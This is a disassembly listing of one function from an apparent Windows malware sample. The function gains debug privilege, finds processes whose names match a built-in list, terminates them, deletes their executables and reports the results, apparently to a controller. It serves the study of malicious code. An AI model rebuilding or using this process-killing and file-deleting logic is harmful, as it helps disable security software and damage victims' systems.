Assembly Code of File sub_4070E8


    sub_4070E8 proc near ; CODE XREF: sub_4073FB + 68p ; sub_4074FD + Cp ... var_550 = byte ptr - 550h var_350 = dword ptr - 350h var_34C = byte ptr - 34Ch var_230 = byte ptr - 230h var_12C = dword ptr - 12Ch var_128 = byte ptr - 128h var_124 = dword ptr - 124h var_108 = byte ptr - 108h var_4 = dword ptr - 4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi xor ebx, ebx push 49h xor eax, eax cmp dword_433490, ebx pop ecx lea edi, [ ebp + var_128 ] mov [ ebp + var_12C ], ebx rep stosd mov ecx, 88h lea edi, [ ebp + var_34C ] mov [ ebp + var_350 ], ebx rep stosd jz loc_4072F9 cmp dword_4334EC, ebx jz loc_4072F9 cmp dword_433450, ebx jz loc_4072F9 push 1 push offset aSedebugprivile ; \"SeDebugPrivilege\" call sub_40707D pop ecx pop ecx push ebx push 0Fh call dword_433490 ; CreateToolhelp32Snapshot mov edi, eax cmp edi, 0FFFFFFFFh mov [ ebp + var_4 ], edi jz loc_4072EC lea eax, [ ebp + var_12C ] push eax push edi mov [ ebp + var_12C ], 128h call dword_4334EC ; Process32First test eax, eax mov esi, ds:dword_41F034 jz loc_4072E7 lea eax, [ ebp + var_12C ] push eax push edi call dword_433450 ; Process32Next test eax, eax jz loc_4072E7 mov ebx, ds:dword_41F0C4 loc_4071A7: ; CODE XREF: sub_4070E8 + 1F7j cmp [ ebp + arg_10 ], 0 jz short loc_407208 xor edi, edi loc_4071AF: ; CODE XREF: sub_4070E8 + E7j push off_42A458[ edi ] lea eax, [ ebp + var_108 ] push eax call ds:dword_41F0C0 ; lstrcmpiA test eax, eax jz short loc_4071D6 add edi, 4 cmp edi, 9E0h jb short loc_4071AF jmp loc_4072CD ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4071D6: ; CODE XREF: sub_4070E8 + DCj push [ ebp + var_124 ] push 0 push 1F0FFFh call ebx ; OpenProcess mov edi, eax test edi, edi jz loc_4072CD push 0 push edi call ds:dword_41F0BC ; TerminateProcess test eax, eax jnz loc_4072CD loc_407200: ; CODE XREF: sub_4070E8 + 1AFj push edi call esi ; CloseHandle jmp loc_4072CD ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_407208: ; CODE XREF: sub_4070E8 + C3j mov edi, [ ebp + arg_C ] test edi, edi jnz loc_40729C cmp [ ebp + arg_4 ], edi jz loc_4072CD push [ ebp + var_124 ] push 8 call dword_433490 ; CreateToolhelp32Snapshot cmp [ ebp + arg_14 ], 0 mov edi, eax mov [ ebp + var_350 ], 224h jz short loc_40725C lea eax, [ ebp + var_350 ] push eax push edi call dword_4334B8 ; Module32First test eax, eax push [ ebp + var_124 ] jz short loc_407262 lea eax, [ ebp + var_230 ] jmp short loc_407268 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40725C: ; CODE XREF: sub_4070E8 + 152j push [ ebp + var_124 ] loc_407262: ; CODE XREF: sub_4070E8 + 16Aj lea eax, [ ebp + var_108 ] loc_407268: ; CODE XREF: sub_4070E8 + 172j push eax lea eax, [ ebp + var_550 ] push offset aSD_0 ; \" %s (%d)\" push eax call sub_412BB5 add esp, 10h push 1 push [ ebp + arg_8 ] lea eax, [ ebp + var_550 ] push eax push [ ebp + arg_4 ] push [ ebp + arg_0 ] call sub_4045DD add esp, 14h jmp loc_407200 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_40729C: ; CODE XREF: sub_4070E8 + 125j lea eax, [ ebp + var_108 ] loc_4072A2: ; CODE XREF: sub_4070E8 + 1D6j mov dl, [ eax ] mov cl, dl cmp dl, [ edi ] jnz short loc_4072C4 test cl, cl jz short loc_4072C0 mov dl, [ eax + 1 ] mov cl, dl cmp dl, [ edi + 1 ] jnz short loc_4072C4 inc eax inc eax inc edi inc edi test cl, cl jnz short loc_4072A2 loc_4072C0: ; CODE XREF: sub_4070E8 + 1C4j xor eax, eax jmp short loc_4072C9 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4072C4: ; CODE XREF: sub_4070E8 + 1C0j ; sub_4070E8 + 1CEj sbb eax, eax sbb eax, 0FFFFFFFFh loc_4072C9: ; CODE XREF: sub_4070E8 + 1DAj test eax, eax jz short loc_407300 loc_4072CD: ; CODE XREF: sub_4070E8 + E9j ; sub_4070E8 + 101j ... lea eax, [ ebp + var_12C ] push eax push [ ebp + var_4 ] call dword_433450 ; Process32Next test eax, eax jnz loc_4071A7 xor ebx, ebx loc_4072E7: ; CODE XREF: sub_4070E8 + 9Dj ; sub_4070E8 + B3j push [ ebp + var_4 ] call esi ; CloseHandle loc_4072EC: ; CODE XREF: sub_4070E8 + 77j push ebx push offset aSedebugprivile ; \"SeDebugPrivilege\" call sub_40707D pop ecx pop ecx loc_4072F9: ; CODE XREF: sub_4070E8 + 3Aj ; sub_4070E8 + 46j ... xor eax, eax loc_4072FB: ; CODE XREF: sub_4070E8 + 30Ej pop edi pop esi pop ebx leave retn ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_407300: ; CODE XREF: sub_4070E8 + 1E3j push [ ebp + var_124 ] push 0 push 1F0FFFh call ebx ; OpenProcess push [ ebp + var_124 ] mov edi, eax push 8 call dword_433490 ; CreateToolhelp32Snapshot push [ ebp + var_4 ] mov ebx, eax mov [ ebp + var_350 ], 224h call esi ; CloseHandle push 0 push edi call ds:dword_41F0BC ; TerminateProcess test eax, eax jnz short loc_407345 push edi call esi ; CloseHandle push ebx call esi ; CloseHandle jmp short loc_4072F9 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_407345: ; CODE XREF: sub_4070E8 + 253j cmp [ ebp + arg_18 ], 0 jz loc_4073F3 lea eax, [ ebp + var_350 ] push eax push ebx call dword_4334B8 ; Module32First test eax, eax jz short loc_4073B8 push ebx call esi ; CloseHandle xor esi, esi loc_407366: ; CODE XREF: sub_4070E8 + 2B2j push 7D0h call ds:dword_41F000 ; Sleep push 20h lea eax, [ ebp + var_230 ] push eax inc esi call ds:dword_41F0A0 ; SetFileAttributesA lea eax, [ ebp + var_230 ] push eax call ds:dword_41F0B8 ; DeleteFileA test eax, eax setnz al test al, al jnz short loc_4073AA cmp esi, 5 jl short loc_407366 lea eax, [ ebp + var_230 ] push eax push offset aCouldNotDelete ; \"Could not delete '%s'.!\n\" jmp short loc_4073C4 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4073AA: ; CODE XREF: sub_4070E8 + 2ADj lea eax, [ ebp + var_230 ] push eax push offset aFileDeletedS_ ; \"[ FILE ]: Deleted '%s'.\n\" jmp short loc_4073C4 ; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - loc_4073B8: ; CODE XREF: sub_4070E8 + 277j lea eax, [ ebp + var_108 ] push eax push offset aCannotExtractP ; \"Cannot extract process path for %s\n\" loc_4073C4: ; CODE XREF: sub_4070E8 + 2C0j ; sub_4070E8 + 2CEj lea eax, [ ebp + var_550 ] push eax call sub_412BB5 add esp, 0Ch cmp [ ebp + arg_4 ], 0 jz short loc_4073F3 push 1 push [ ebp + arg_8 ] lea eax, [ ebp + var_550 ] push eax push [ ebp + arg_4 ] push [ ebp + arg_0 ] call sub_4045DD add esp, 14h loc_4073F3: ; CODE XREF: sub_4070E8 + 261j ; sub_4070E8 + 2EFj xor eax, eax inc eax jmp loc_4072FB sub_4070E8 endp